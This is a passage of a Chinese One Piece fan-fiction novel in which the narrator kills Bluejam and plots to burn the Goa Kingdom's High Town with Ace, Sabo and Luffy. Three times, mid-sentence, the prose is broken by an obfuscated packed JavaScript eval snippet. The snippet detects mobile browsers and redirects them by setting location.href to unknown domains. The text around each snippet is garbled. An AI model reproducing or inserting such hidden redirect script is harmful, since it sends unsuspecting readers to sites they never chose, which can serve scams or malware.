我给他的回应是扔了一个臭弹，里面装着腐败的食物们。此外还有放了辣椒水和辣椒粉的小瓶子，这也是我为这次战斗准备的，虽然攻击力薄弱，但至少能造成一点干扰，此外可能还有精神上的伤害。 布鲁杰姆已经站起来了，兰迪在他背后准备再次给出一击，他挥刀挡去。已经靠近了他，这次没用水管，而是掏出了短刀，直接袭向他的膝盖后方——得让他失去行动能力才行。 布鲁杰姆击退兰迪后，便是朝着我砍来，艾斯用水管替我挡住，但两人体力差距明显。刀砍在水管上，发出哐当的一声响，我听见艾斯“嘶”了一声，额头上满是汗水。 我握刀的手用力，加倍力度击向布鲁杰姆。 而路飞则是喊着“橡皮橡皮机关枪”击打布鲁杰姆的面部。这个时候，已经有其他的混混们脱了身，前来帮我，在路飞的视线干扰，以及其他混混的攻击帮助下，我总算成功废掉了他双腿的站立能力。 在他双腿支撑不住跪地，只能用刀插在泥土里努力让自己站起来的时候，已经有棍棒打上了他的背部。 艾斯不需要我提醒，第一时间用水管击向他握刀的手，让他脱力。我换刀为水管，下一秒跟上艾斯的行动，随后将掉落的刀拿起来，交给跑过来的路飞。 接下去不是我要处理的事了， 在这完全是必败的局势中，出于挨打正中心的布鲁杰姆忽然爆发出一股巨大的气势，竟将周围的人击退，我也踉跄了几步，勉强稳住身体。 “你没事吗？” 我摇头回应艾斯，同时紧张地盯着布鲁杰姆，他还有什么后手。等了几瞬，没什么动静，似乎只是他最后的挣扎。 我小心翼翼地移动过去，艾斯比我要快，走在我的前面，似乎是想保护我。 布鲁杰姆虚弱地笑起来：“哈、哈哈哈……你们以为在这里打败了我，一切就会结束了吗？” “错了啊，全部都错了啊……王城里的那些贵族不会放过你们的——” 我深深皱起眉，他这是什么意思，我越过艾斯朝布鲁杰姆走去。 “天龙人就要来了，谁都逃不掉的。你们会被火烧死，垃圾站也会被火烧掉……你们都会来陪我的——” “哈哈、哈哈哈哈哈哈哈哈哈唔……” 让他的大笑声戛然而止的，是我用短刀刺中他的心脏举动。他吐出几口鲜血，几乎是不可思议地看向我，我又将刀往里深入了几分，不言不语。 “咳……咳……你以为……” 我看着他，随后将短刀拔出来，他身体的血溅射到我的脸上，一点点滴落至地面，我没有擦去，只是静静地说道：“你该死了，布鲁杰姆。” 19.章十九 布鲁杰姆的眼睛死死盯着我，直到生命的最后一刻，我同样回望着他。 这是我杀的第一个人。 我原本并不想杀他，但他实在不该继续说下去了。原本只是为了更好召集混混们攻打布鲁杰姆而编织的谎言，此刻却成为了真实。贵族要放火烧掉不确定物终点站，杀死生活在里面的人们。 因为所谓的高贵的天龙人即将拜访哥亚王国。 布鲁杰姆的身体还在不断往外滴落红色的血，将泥土的颜色染得更深了。海贼港湾因为布鲁杰姆的死亡而变得寂静无声。 海贼们不发声是因为船长死了，而这些混混们…… 有人哭了出来。 “是真的啊——是真的啊，我们要死了，谁都逃不了。” 第一个人的哭声带动了接下去的人。 “为什么啊……我们明明已经那么努力的想要活下去了……” “垃圾就不应该活着吗……为什么我不是贵族啊！” 绝望在人群中缓缓蔓延，先前那股抗争的气势霎时荡然无存，人们的武器和他们的泪水同时落在地上。 海贼尚可以出海逃亡，可他们呢？高镇必不会为他们打开城门。因为这群人是判断为要销毁的垃圾。贵族甚至可以与海贼合作杀死他们。 我捡起布鲁杰姆掉落在地上的枪，枪身有些泛旧，里面似乎还有子弹。我还没学过开枪，但布鲁杰姆已经为了上了膛，所以我只需要用双手握住它，将他对准空中—— 艾斯靠近我，“你想做……” ——砰。 还是第一次用这种武器，没什么经验，震得我虎口发麻，些许疼痛。 子弹发射的声音挡住了艾斯要说的话，我看了他一眼，又将视线落到其他人身上。如同先前被枪声吸引，视线落到布鲁杰姆身上那般，现在他们看向我。 我垂下拿枪的手，平静地看着他们，只说了两句话。 “我杀死了布鲁杰姆。” “我会让你们活下去。” 无人回应，但哭泣声已逐渐减弱。一道又一道视线沉默的，长久地注视着我。我一个一个看回去。阳光刺眼无比。 我知道，我成为了他们的希望。 而我必须要成为他们的希望。否则，前路断然无生机可言。 “路希……” “路希大人……” 叫着我的名字的声音宛若浪潮，一波高过一波。在那群为我欢呼的混混们组成的人群中，布鲁杰姆的海贼手下显得如此无措。 我扫视一圈，下达命令，高声喊道：“抓住这些海贼，一个都不许放过，反抗者杀。” “喂……” “等等……等等，我们投降，我们投降……” “我们的老大都已经死了啊……” 失去了布鲁杰姆的海贼们毫无反抗之意，不过仍有一些想逃跑的。路飞冲上去与兰迪他们一起抓那些海贼，艾斯没动，我的视线落在他身上一秒，他始终盯着我，我没继续看着他。远方传来新的动静，有喊杀声。 新到来的人马是达旦和她的手下们，她提着刀冲在最前面，我能清楚看到她脸上的焦虑与愤怒之色。她体格强壮，步伐有力，跑过来的动静震得土地都在发抖。 发怒的妈妈要守护她捡到的几个小孩。 达旦来帮我们，我忽然感到身心都放松下来，敌人就生活在王国内，可我的养母会带着她的手下站在我身边。 “哪个不长眼的在老娘地盘上搞事！！”身未到战场，她咆哮的声音先传了过来。“小的们给我上！” “哦哦——！” 毫无疑问，她因我们三个而来。我忍不住咧开嘴对达旦招呼道：“喂——达旦，这边这边，我们没事啦。布鲁杰姆已经被打倒了。你们别打啦，这群人是我们的同伴。” 达旦捕捉到目标，怒气冲冲地跑过来，大喊道：“你们都给我在搞什么啊！知道整出了什么麻烦吗？！” 她就知道，这群小屁孩整天在垃圾站和端镇待着，一定在密谋什么坏事！孩子静悄悄，必定在作妖。知道她收到萨博传来的消息有多害怕吗，马上召集了所有人下山冲过来，就怕来迟一步看到这几个爱惹麻烦小鬼的尸体。 她真的没法再养下去了，等下次卡普过来一定要好好说清楚让他把这几个小孩带回去。她只想安度晚年。 艾斯：“……” 艾斯难得没多说什么，保持着沉默，我笑眯眯地指了下地上布鲁杰姆的尸体，对她说道，“布鲁杰姆死了。我杀的。” 达旦瞬间瞪大了两只眼睛，“什么鬼啊——！” 布鲁杰姆的尸身安静地躺在地上，正在当一个合格的死人。 达旦疑心自己出现幻觉，抓住旁边一个手下就给了对方一拳，“我这是在做梦吗？” 山贼手下捂着伤口秒答：“老大，好痛。” 达旦张大了嘴盯着地上的布鲁杰姆。“这这这这……” 我笑着回答她，“我们自己惹出来的麻烦，我们自己会解决的。还有能麻烦你的手下们看守那些被抓到的海贼吗？我带领的那些人战斗了这么久，需要休息一会。” 达旦盯着我，又盯着布鲁杰姆，然后继续将视线转移回来落在我身上。过了几秒，她看向旁边的艾斯，似乎想从他身上看出点什么名堂。 艾斯：“……”艾斯点了点头，说道：“嗯，她杀的。” 达旦：“……！” 达旦感觉自己彻底没法和卡普交代了，要不她还是先昏迷一下吧。 这个时候，出现了萨博叫我们的声音。“艾斯——路希——”他过来，大口喘着气，面朝达旦抱怨道，“我说你们啊，也跑太快了吧，我刚说完没几秒人就跑走了，我追都追不上。话说回来，你们这是打倒蓝宝石海贼团了？” 我点点头，“嗯。联合大家的力量削弱了他的战力，然后我把他杀了。” 萨博明显地怔了会，“诶，杀了？” 虽然计划商讨的时候有想过这种可能性，但他们毕竟都是没见过血的孩子，并没真的想杀什么人。现在这种情况倒是出乎意料。 我眨眨眼，看着萨博，又看向达旦，收回了先前的笑容，认真道：“达旦，萨博，还有一件事我必须要说。”我抿抿嘴，观望了一下战场，“等他们把海贼抓完看守起来吧，这是一件非常重要的事情。” 达旦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079528|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神情也严肃了几分。 战场的清理未花费太久，毕竟海贼们本就没有了战意。这些人被捆起来放在一处，交由山贼看管。同时我让兰迪带着混混们去翻了海贼的厨房，找找食物补充体力，顺便也当庆祝这次战斗的胜利。 命令完后，我才让达旦跟我一起进入船舱。 我、路飞、艾斯、萨博、还有达旦五个人围成一个圈在地上坐下。达旦率先发问：“然后呢，你要跟我说的是什么事？” 我看向她，问道：“你还记得吗？你前不久在报纸上看到的那则新闻——天龙人会在春日到访哥亚王国。” “我当然记得，但是你为什么忽然提起这个？难道……” “嗯，我要说的事情就与这件事有关。”我顿了一会，缓缓将布鲁杰姆死前说出的信息告知达旦与萨博，“哥亚王国里的国王和贵族们，为了迎接天龙人的到来，准备火烧垃圾站，清理那里所有生活的人们。” 达旦睁大眼睛，直直盯着我，她几乎是下意识说道，“不可能——” 我看向艾斯，艾斯应道：“是真的，我们都听到了。” 我分别看了萨博和达旦一眼，继续说道：“贵族与布鲁杰姆有合作，他们之前来这里，不仅是为了寻找萨博。同时，也与布鲁杰姆达成新的交易，解决这些外城的地痞流氓们。” “我不知道布鲁杰姆会得到什么报酬，但是，如果火烧了垃圾站，海贼港湾也无法幸存。想来，可能是贵族允诺他到时候可以放他进城里生活，不需要在当海贼，担忧被海军抓捕。” 达旦盯着我，久久沉默着，我倒觉得，她并不是在看着我。她的视线穿过了我，脑海中有未知的地方在掀起惊涛骇浪。 萨博终于忍不住出声：“怎么会这样？高镇里面生活的贵族们呢，全部知道这件事吗？他们都会同意吗？” 我摇摇头：“具体的事情我并不清楚，与贵族达成交易的是布鲁杰姆，他死前也只说了确实有这种事。” 萨博：“会不会是他骗你们的……毕竟垃圾站那么多的人，就算是贵族，也不会全部残酷到把这群人都杀掉吧……不，不对，如果是我妈爸这样的贵族……” 他是最不想承认的那一个，但显然不需要我花费时间说服。正是因为他自己曾在高镇生活过，所以才了解城里那些贵族们的本性。 萨博挣扎着，犹豫着说道：“我……想回去高镇看看，如果这是真的……” 艾斯有些动怒，对他说道：“就算这是真的，你回去又能怎么样？也没法改变那群人的决定吧！” 艾斯不希望萨博回去。 “我知道，但是……” 他咬着嘴唇，路飞不明所以地看着这两个人，表情看上去有些担忧。“艾斯……萨博……” 达旦在这个时候回过神来，强势插嘴道：“不管贵族是否做出这个决定，这都不是我们能解决的事情。外面那些人们……能撤离的话尽早离开吧，正好这里的海贼船可以给他们用……”说着说着，她的声音逐渐低沉了下去。“凭借我们的力量……是没法处理这种事的。” “不行，不能逃。” 我终于开口了，却是否定她的提议。 20.章二十 达旦瞪大了眼睛，显然不满意我的回答。她颇有些气急败坏，喊道：“什么叫不能逃？那你们还想怎么做！听好了，或许杀死了布鲁杰姆让你感觉自己很厉害，但这不是你们几个小孩就能处理的，就算卡普来了，也不能解决！因为那些是贵族！因为天龙人要来这里！” 她说到最后，语调愈发激昂，可我依旧坚持自己的回答：“不能逃。” 我昂首对着达旦强硬说道：“我答应过他们，会让他们活下来。” 达旦怒极，“那就更应该让他们乘船离开这里。否则留着被火烧吗？” “然后呢？坐上船去哪里？要在大海上飘去哪里？从来没有出过海，也没有应对海上风浪的能力；遇上其它海贼船呢？遇上海王类呢？碰到意外船沉了呢？他们不也还是死路一条！” 我大声喊道。 “不确定物终点站就是他们的家，家园要被销毁，无处可去的时候，就该留下来抵抗到最后！” “你这根本是在害死他们——” “连死的觉悟都没有，就别想夺回自己的家——” 我和达旦各执一词，互不相让。艾斯皱眉道：“别吵了，”他看着我们说道，“和我们一起进攻布鲁杰姆，这是他们自己决定的。接下来的事也该由他们自己决定。” 萨博围观我们的争吵许久，此刻迟疑着终于开口。“我也是这样想的……不管怎么样，我们无法替他们做决定。”他忽而问向我，“话说回来，路希，你既然希望想让他们活下来，那有办法了吗？” 我沉默地看着他，过了片刻，才开口说话。 “我确实有一些想法，但是……我需要你的帮助。” 萨博怔了一下，“我的……帮助？” 我的想法其实相当简单，遵守一个定理：以眼还眼，以牙还牙。 既然贵族们想要放火烧掉不确定物终点站，杀死里面的所有人，那我们就先行一步烧回去，让他们无处可去。但是从外面打不开高镇的城门，我们必须有内应在里面，而原本是贵族的萨博便成为了最好的人选。 我把先前想到的念头全部告知他们。 达旦颓然地注视着我，“你一定是疯了……要不就是我疯了。” 火烧哥亚王国……这种事情，绝对只有疯子才做得出来。可看看那个孩子吧，眼瞳里闪烁着不达目的誓不甘休的灼热之光，这个家伙是认真的，也只有拥有这种疯劲的人才能带领生存在垃圾站的那群人来进攻这个海贼团，并拿下胜利。 达旦意识到自己的灵魂在深深战栗着。她无法开口回应，于是等待其它孩子的回答。艾斯与路飞都未说话，他们顺着路希的目光看向萨博，只有他是高镇的贵族。 达旦也看了过去。 萨博犹豫道：“我……如果真的要这么做，那里面的人也可能会……” 他不敢说出那个词。 我知道他在犹豫什么。 高镇里的那些人，那些贵族与皇族们，是否全部残酷如斯，是否全部知晓烧掉垃圾站的计划，是不是也会有残存的好人，在劝说不要这样做？ 如果这场注定会燃起的火焰，杀害了这些无辜的人呢？那我们的所作所为，与做下这个计划的贵族有何区别？ 倘若我没有杀死布鲁杰姆，或许我不会做出这个决定。但正因为我亲手杀害了他，从那个时候起，我明白了一件事：我们与那些贵族是对立的。这种对立不可融合，不可消除，直至其中一方彻底败北、亦或死亡。 我把自己想明白的事告诉萨博。 “萨博，我希望你、或者说你们其他人都能明白，我们和哥亚王国里的贵族是对立的。” “事实上，从他们不断地将垃圾送至城外，把失去价值的人赶出城镇，这种事情就注定会发生。” “因为当他们选择这么做的时候，他们便没有把这群人当人，而是垃圾。对他们而言，自己的所作所为不是杀人，而是为了让国家更加美丽，更加干净所作出的清理垃圾的举动。” “他们眼中有资格与自己一同生存的同伴，只有同阶级的贵族与尚有利用价值的平民们。” “因此当他们做出火烧垃圾站，放弃这群被定义为垃圾的人类时，不会去想他们是否想要活下去，他们是否也会开心也会哭泣。他们只是一群……需要被销毁的垃圾。” “我想明白了这件事，所以贵族们彻底成为了我的敌人。我对敌人的态度取决于敌人对我的态度，而贵族已经做出了自己的决定——烧毁不确定物终点站。所以我要烧回去。” “即便里面或许有一个好人，一个善良的贵族恳求其他人不要做，那也没有用。因为贵族已经做出了最终决定。” “萨博，你能理解吗……” 我想我一定是有些许难过的，因为我的语气竟有那么几分恳求意味。我不希望与萨博闹翻，甘愿放弃贵族生活跑来垃圾站生活五年，这样的人多么难得啊。成为朋友是如此的不容易，这样广阔的大海我们居然在同一个岛屿相遇了。可是……如果他坚决不同意，那我和他的关系也只能淡去。 并且……我不会让他回高镇，也不会让他参与接下来的行动。 萨博双手握紧，眉头紧锁，像是在做一个非常艰难的决定。我们中没有人干扰他，他隔了许久才回答我的问题。 “我会回高镇……” 他还没有说完，我耐心地等待着。 “但是在这之前，我想先在高镇看看其他人的态度。我想知道，里面的贵族对这件事情知道多少。” 我注视着他。“如果他们不知道呢？” “那我要告诉他们皇族们决定火烧垃圾站和里面的人们！一定也会有人和我一样不赞同这个提议的。到那个时候，我们说不定就能救下垃圾站的这些人，也不用烧进哥亚王国里面！” “萨博……站在中间的人是哪里都去不了的。” “你——！” “就算你在不确定物待了这么久，有些事情你还是没有明白。贵族们不需要那些人，因为如果需要，如果他们但凡在乎一点，这些人就不会过上这样的生活——！你是不一样的，正因为你与那些贵族的想法不一样，所以你才以为可以说服高镇的贵族们，可以让大家都活下来。但最终取得胜利的只有一方！” 萨博眉头扭曲地看着我，“我不会留在这里……我要回去，只有知道高镇里面的人们是怎么想的，我才能做出决定。一定会有办法的，不用烧掉哥亚王国也不用烧掉垃圾站，一定可以有大家都不用死的办法的——！” 他佯装攻击我，在我下意识闪躲之时跑了出去。达旦拉住我，有些疲倦说道：“够了……让他回去吧。你的计划也是……太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083278|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲁莽了。哥亚王国里有多少士兵你知不知道，就算高镇的大门打开了，我们也不一定能成功攻进去。” 我倔强地盯着她，“就算我们没有办法打败那些士兵，在高镇被打败，那也比什么都不做，在火堆里等着烧死好。我要让那些贵族们听到、看到，这些被他们当做垃圾扔出去的人们的喊声。” “你……” “我从最开始就说过了吧，我要成为世界之王，我要在这个世界建立我的新秩序。所以所有我不满的一切，我不喜欢的一切，我都要通通毁掉，然后在那些被毁掉的东西上面，建造我想要的世界。” 我与达旦互相注视着，最终，她移开了目光，落在地上。 “算了……我是没有办法阻止你们了，但也别想我帮你们干这种事！” “如果你不想帮，那你就不用帮，只要别阻止就行，那就算站在我这边了。”我开始赶人，“你可以出去了，路飞你也是，还有艾斯，你们都出去吧。” 我难得感到有几丝疲惫。 “路希……” 我看向犹豫的路飞，眉头一跳，问道:“怎么了？” 路飞坚定地说道：“我留在这里陪着你。” 他其实没有听懂很多，什么贵族啊皇族啊普通人啊。他只知道他们目前面临一个情况，有人要放火烧了他们平时玩耍的垃圾站和里面的人，而路希要烧回去。不过那就够了，他会留在这里。因为他也不喜欢被别人用火烧。 我心情难得轻松几分，“谢谢你，路飞，不过现在先让我一个人待一会吧。” “噢，那艾斯……” 和已经走出去的达旦，以及站在门口的路飞不同，艾斯还站在屋里。我偏头看了他一眼，他还有什么要对我说的？ “没关系，路飞，你先出去吧。我和艾斯在待一会。” “好吧！”他大声嘱咐道，“你们不要和萨博那样吵起来啊！” 艾斯无语了一瞬，喊回去：“才不会——” 路飞与达旦离开，房间里一下子只剩下了我和艾斯两个人，我转身与他对视，“还有什么事？” 他抿嘴，沉默了片刻才说道，“我……其实不喜欢那群人，那群生活在垃圾站和端镇的地痞流氓们。” “为什么？” “只是垃圾吧……什么都不会，只能从垃圾堆里翻点东西，要不就是抢别人东西；会背地里说别人坏话，对你也不是特别忠诚。没人期待他们活下去吧，真要说的话，根本没什么好救的。” 我打量着他，随后转换了话题。 “我一直都很好奇，艾斯你是从哪里来的？” “什……？！” 我打断他的话。 “从达旦那里零零碎碎的话也可以拼凑个大概，被爷爷带过来的，母父我就不清楚了。以前问过这种事，她不想告诉我。” “这种事情没什么好知道的。” “哦，那我不问了。” “你——” 他站在房间里的阴影中，好像想把自己的身形全部隐去，可是我早看见了他，怎么会失去目标呢。 我的视线锁定住他，问道：“你还有什么事？” 他又问了一遍：“为什么要坚持这么做，就算与萨博闹翻，也要带这群人活下去？我们……我和萨博，才是你最开始认识的吧。” 21.章二十一 他这话我没法反驳。 若以时间定论，确实是他们先来的。就算用感情定论，我对他们的情谊也确实比对垃圾站的那帮人更深厚些。 可是，倘若真要说个所谓，我只能说，与时间与感情都无关。比起这些，我只想顺着自己的心意行事。 于是我坦诚道：“我很喜欢艾斯，萨博也是。你们我都很喜欢。没当朋友前整日追逐的日子很有趣，成为朋友后一起征服垃圾站和端镇的日子很开心。可是，我也有必须要做的事情。” “我不喜欢这样逃掉，所以我要打回去。与谁先认识都无关。何况，最开始成为朋友的时候就说过了吧，我要征服哥亚王国。真要说的话，我只是在实现我的目标。” “……我知道了。” 艾斯从我的身边走了过去，就要开门离去。我看着他原先站立的位置，忽然问道：“今天，我杀了一个人。在这之后，或许会有更多的人因我而死，可是我却不在乎。你要厌恶和害怕我了吗？” “……”他的步伐停了下来，手放在门把的位置。艾斯偏头往后看了一眼，只有背影，看不清路希脸上的表情，她离他先前所站的那片阴影就差那么一点距离。他望了一眼门板，垂下双眸。 有一个秘密他隐瞒了很久，只有达旦之家的人和萨博知道。他不想提，也不愿提。但此时此刻，一股奇异的冲动促使着他说了出来——他唯一对路希隐瞒的秘密。 “我是海贼王哥尔·D·罗杰的孩子，那个让世界变得更加糟糕的男人后代，你知道了这个，要讨厌我吗？” “诶？” 对方果然有被惊到，转过身来看他。艾斯握住门把的力度加大了些，说道：“不过是杀死一个人和准备推翻哥亚王国而已，甚至后者还没成功，那家伙可是把整个世界都掀起了风浪，你还差得远呢。” 她沉默了片刻，又问出一个他不喜欢的问题。她一定是看出了什么，毕竟自己之前从来都没提起过。 “那艾斯讨厌罗杰吗？” 艾斯没法回答，他觉得自己一定是痛恨罗杰的。可当初听到端镇的流氓说这个人的坏话时，他又忍不住冲上去与那些人对打。没打过，只是让自己受了很重的伤。 他只说出了一句话。 “我的姓是波特卡斯，全名是波特卡斯·D·艾斯。”他迎着路希的目光，往下说道，“这是我妈妈的姓。” 是为了保护他，将他在腹中怀了二十个月，才生下他，但最终也导致精力用尽，陷入死亡的妈妈的姓。 都是罗杰害的。 对方点点头，说了一声，“我知道了。” 艾斯：“……” 这是知道了啥他也不想问。 路希走过来靠近他，在他疑惑的目光中，她的手覆在他的手上方，两人一起开了门。阳光从外面照射进来，平等的落在身上，相当温暖。 对方握住他的手，偏头看着他，笑了一下，“艾斯你一定不会讨厌我的，因为我不会和罗杰一样，把世界弄得一团糟后就马上死掉逃跑，我一定会留下来建立新秩序的。” 艾斯：“……你太有自信了。” 真搞不懂她为什么总是这么有自信。 对方的笑容更加灿烂。“这是好事，唯唯诺诺才什么都做不到呢。” 他偏过头去小声地哼了一下，听着路希说话。 “我还要去问下那群海贼们，有关布鲁杰姆和贵族的具体交易情况，你先去休息吧。” 路希松开手，艾斯看着她的背影远去，忽然喊道：“喂——萨博不会走的，你也相信他一下吧。” 她的脚步停了片刻，挥挥手示意自己知道了。 * 萨博从海贼港湾离开后，一路疾行狂奔。 他原本想直接进入端镇返回高镇的，可距离端镇越近，他跑路的速度反而逐渐慢了下来。到最后，他停在端镇门口，跟守卫大眼瞪小眼。萨博扶着双腿喘气，忽然转身离去。 他在不确定物终点站逛了一会，这里的人基本都去了海贼港湾，没有留下来的。萨博对于生活在这里的人，没有如同艾斯那样讨厌。 很久以前他就来过这里，远在逃离高镇以前，他便会偷偷跑出来，来跟这里的混混们说话，了解贵族以外的生活。 他曾无比期待的那种自由，在离开高镇后终于短暂得到。他原本以为自己永远不会想要回去。但当一群人的性命鲜明的摆放在眼前时，他意识到自己一定会回去。 他可能对那些贵族还存在着一些期待，但也明白自己身上有过分天真的地方。 萨博最终返回达旦之家，他认为他们之间有必要再来一次心平气和的谈话。先前，他们两个都太固执了些，或许是布鲁杰姆的死亡刺激以及真相的暴露，情绪难免冲动。 他等到了黄昏，太阳差不多落山，夕阳如霞。这是在不确定物终点站无法看到的景色，或者说在高镇也难以看到。 那里是另一种干净、整洁的气息，似乎所有一切都仅仅有条，崭新如洗。 先回来的是达旦和她的手下，看见他在门口等候，高大的山贼老大明显楞了一下，想不到他还会留在这里，可很快对方恢复平静，看着他也并未说什么。倒是达旦身后的那群山贼们，一个接一个的和他打招呼。 什么“你小子原来是跑回来了”，“还以为你忽然跑哪去呢”，“怎么了是肚子饿了想回来找点吃的吗？哈哈哈哈我们这里的食物可是从来不会过夜的”。 说实话这种事情他早知道，这群人跟饿死鬼投胎一样从来不会剩下食物。 这又是与那些贵族们的不同了。 贵族们总是会剩下很多，然后倒进垃圾桶，接着运送去城墙外围。 他先前没来达旦之家生活前，也时常在外面饿肚子，虽会感叹生活不易，但从未有一次后悔。他的身上确实有一些和高镇的贵族不一样的地方，萨博有时会想，他是不是可以因此感到小小的自豪？ 萨博继续耐心等待了一段时间，路希、路飞和艾斯才一起回来。看见他，路飞第一个冲过来，欢欣雀跃。艾斯对着他笑了一下，萨博就明白艾斯一定清楚自己会跑过来。只有路希，落在了最后，面色平静地注视着他，未出一言。 艾斯把路飞拽走了，于是大门这里只剩下了他和路希。路希手指戳向了她们曾经月下谈话的地方，走了过去，萨博随即跟上。 上一次在这里谈话，是她要求萨博对艾斯和路飞说出他的真正身份。先前是她第一个开口的，这一次同样也是。 “你没有回去高镇呢。” “嗯，我想了想，我们之间应该还是要好好聊一下。” 对方用眼神示意他继续说下去，萨博深深呼吸，方才鼓足气势继续往下说道：“我还是会回去高镇的，因为我想知道那里贵族们的想法。但是，我不会阻止你们的行动。如果你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088079|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要我帮助打开高镇的门，我会这么做。” “你想让我做什么？” 她确实很聪明，萨博不由得想到，听出了他的隐藏请求。 “我希望……如果贵族里有不赞同，或者他们根本不清楚这件事，我想把他们带出来。” “在行动的那一天？” “嗯。” 路希垂下双眸，似乎在思考是否接受他的意见。片刻后，她抬头看着萨博，说道：“可以，如果还有这样善良的贵族，你就在那天晚上带她们出来吧。可是，我也有一个要求。” “你说。” “你要配合我的行动回去。” 萨博有些困惑地望着她，于是路希耐心给他解释。 “下午，我审问了一些海贼，包括伯尔杰米——他知道布鲁杰姆死了后，很是丧气。中途有点不听话，不过我们教训了一下，终于认清真相了。” 至于是怎么教训的，萨博并不想知道，他继续听着。 “高镇里的人提供火药和燃油给蓝宝石海贼团，再由海贼团的人摆放区不确定物终点站的各个地方，他们本来还想抓其它混混们一起行动，不过这群人暂时听我行动。因此他准备先把你抓走，解决了我们才开始行动。” “我们在海贼港湾看见的那些箱子，里面就放着到时候用来烧垃圾站的道具。” “国王既然做了这种决定，绝对不会轻易放弃。就算布鲁杰姆死亡，也一定会想其它办法。所以我决定先隐瞒布鲁杰姆的死亡，将这笔交易持续下去。毕竟，到时候我们进攻高镇，也需要这些道具。” “所以我希望你配合我，到时候你的父亲会从海贼港湾那里带你回去，我会让伯尔杰米出面，维持布鲁杰姆还活着的假象，你要配合我演戏，让你的父亲相信这一点带你回去，你做得到吗？” 萨博自然做得到。 “当然，我做得到。这种谎话对我而言还是很简单的。” 路希轻轻点了点头，“那就这样，我明天会让人联系你的父亲，然后，你就可以回去了。蓝宝石海贼团有电话虫，我会给你一个，你带在身上别被发现，方便我们联络。” “好。” 似乎没什么其它可商讨的事情，气氛一下子陷入了沉默，萨博认为他和路希目前陷入了一种比较尴尬的情况，大概是由于下午的争吵导致的。 那些过去隐隐不可觉的差距，刻意划过从未提起过的身份话题，他们想法的分差，在那个时刻统统爆发。 可是，究竟是谁的错误呢？他不知道，可萨博还是决定先做开口道歉的那个人，毕竟他的年龄比路希大吧。 但几乎是两人异口同声地：“对不起。诶……” 萨博怔愣了会，像是想到什么笑了出来，“原来你也会说这句话啊。” 路希无语地看了他一眼，说道：“我下午对你确实信任不足。” 于是他也说道：“我也是，怎么说好呢……感觉好像现在才真正重新认识你。” 路希对他微微一笑，伸出手，说道：“那重新自我介绍一下，我叫路希，蒙奇·D·路希，梦想是成为世界之王，因此会干掉所有我不喜欢的存在。” 萨博也伸出手与她相握，“我叫萨博，以前是高镇的贵族，现在是垃圾站的流浪小孩，之后不知道，可能是海贼。因为我的梦想是出海成为自由自在的海贼！” 她们的双手紧紧相握。 22.章二十二 互相说开的感觉真的很不错，至少我的心情比下午好了许多。原本还在担心萨博真的离开了，要如何处理我们的这段关系——毕竟我们是四人团体，除我和萨博外，还有路飞和艾斯要考虑，现在这种平和的气氛，实在是求之不得。 既然大致计划已经确定，行动人员亦无异议，便到了实施的时刻。 第二日我让伯尔杰米联系萨博的父亲，告知萨博已经被蓝宝石海贼团抓到。他很快到来，扫视了一圈并未发现布鲁杰姆，只有我和艾斯两个小孩被绑着。 伯尔杰米解释说布鲁杰姆去不确定物终点站确认先前摆放的火药位置了，我们两个小孩是先前和萨博一起行动的小鬼，顺便一起抓了。 其实不用解释也没关系，因为这个贵族显然不在意。他傲慢地丢下金币，带着满脸不甘心的萨博离开这里。 他们走后我与艾斯马上摆脱了手上的绳子，本来也只是装装样子绑住的。路飞由于不擅长撒谎，我拒绝他加入和我们一起演戏。 总之计划的第一步成功了。 接下去是第二步。 端镇每天会开放两次城门，方便垃圾站的人们进去交易。我让大家联合起来去科尔伯山打猎物，在这之后清理完毕猎物的尸体，将火药和燃油放进它们的肚皮里运送进去。等时机一到，再带着这些东西冲进高镇。 然后，我收到了返回高镇的萨博传来的联络。 电话虫接通，他那边沉默很久。我担忧他是否遭遇到了什么困难，或者被发现了？但不可能，倘若被发现，端镇必定会有守卫冲过来检查情况。 那就是贵族对于垃圾站的态度，是知晓亦或一无所知。 我不准备先开口。 “路希……”最后，是萨博主动说话。他的声音带着颤抖，带着一种压抑的愤怒，“烧掉吧，全部烧掉吧。这里的人们全都知道垃圾站要被烧掉的事情，所有人都同意了这些。” 奇妙地，我的内心并未掀起很多风浪，也未如萨博那般愤怒。或许是因为我不是贵族，也从未对那群人有什么期待。 我点点头，虽然知道萨博看不见，还是做了这个动作。我回道：“好，我们全部烧掉。” 他挂断了电话虫。 最后一刻，我听到萨博那边传来隐忍的哭声。 我把电话虫放回口袋，把他的决定告诉了艾斯和路飞，以及达旦。 达旦喝着酒，平淡地说道：“是吗……全部都知道啊。” 